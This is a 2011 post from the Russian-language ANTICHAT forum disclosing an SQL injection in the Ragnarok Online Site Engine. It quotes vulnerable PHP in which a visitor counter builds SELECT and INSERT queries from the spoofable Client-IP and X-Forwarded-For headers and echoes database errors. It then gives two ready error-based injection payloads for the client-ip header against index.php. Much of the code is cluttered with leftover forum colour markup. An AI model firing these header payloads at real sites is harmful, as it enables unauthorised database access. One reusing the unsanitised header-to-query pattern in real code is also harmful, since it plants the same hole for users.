HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 23.02.2011, 22:53
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме:
691279

Репутация: 55
По умолчанию

Ragnarok Online Site Engine

http://sourceforge.net/projects/ro-se/

SQLi

include_before.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//...

[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getIP[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#FF8000"]// был ли сегодня, если нет то добавим хапись вместе с реф страницей, если был, то добавим счетчик за этот день

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT count(*) as cnt FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ros_db'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".ros_counter WHERE DATE_FORMAT(date, '%Y%m%d')='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Ymd"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"' and `ip`='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]GetAll[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);

if([/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'cnt'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#FF8000"]// был сегодня, обновим счетчик

[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ros_db'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".ros_counter SET `count`=`count`+1 WHERE DATE_FORMAT(date, '%Y%m%d')='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Ymd"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"' and `ip`='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);

}else{[/
COLOR][COLOR="#FF8000"]// ненбыло сегодня, добавим с реферрером

[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ros_db'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".ros_counter (`count`, `ip`, `ref`, `date`) VALUES ('1', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_REFERER"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"', NOW())"[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#FF8000"]//...

[/COLOR][/COLOR
/include/functions.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//...

[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getIP[/COLOR][COLOR="#007700"]() {

if([/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_CLIENT_IP"[/COLOR][COLOR="#007700"])) {

[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_CLIENT_IP"[/COLOR][COLOR="#007700"]);

} elseif([/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_X_FORWARDED_FOR"[/COLOR][COLOR="#007700"])) {

[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_X_FORWARDED_FOR"[/COLOR][COLOR="#007700"]);

} else {

[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"REMOTE_ADDR"[/COLOR][COLOR="#007700"]);

}

return
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"];

}

[/
COLOR][/COLOR
/include/db_connect.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$DB[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){

global[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"];

if(isset([/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]]){

echo[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"
\n"
[/COLOR][COLOR="#007700"];

}

if([/COLOR][COLOR="#0000BB"]$DB[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$DB[/COLOR][COLOR="#007700"]);

}else{

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);

}

if([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]()){

echo[/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"
\n"
[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]"query:"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"
\n"
[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];

}else{

return[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][/COLOR
Как видно из кода у нас инъекция в хедере при чем в селекте и инсерте, покажу варианты раскрутки. Еще больше меня порадовала функция запроса, в случае ошибки она выводит саму ошибку + сам запрос, и нет никаких exit`ov и die`v.

Эксплуатация: http://site.com/index.php

Код:
Code:
client-ip: 'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'
либо

Код:
Code:
client-ip: ', 'lala', NOW()) on duplicate key update a=(select 1 from(select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)))a)-- 1
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ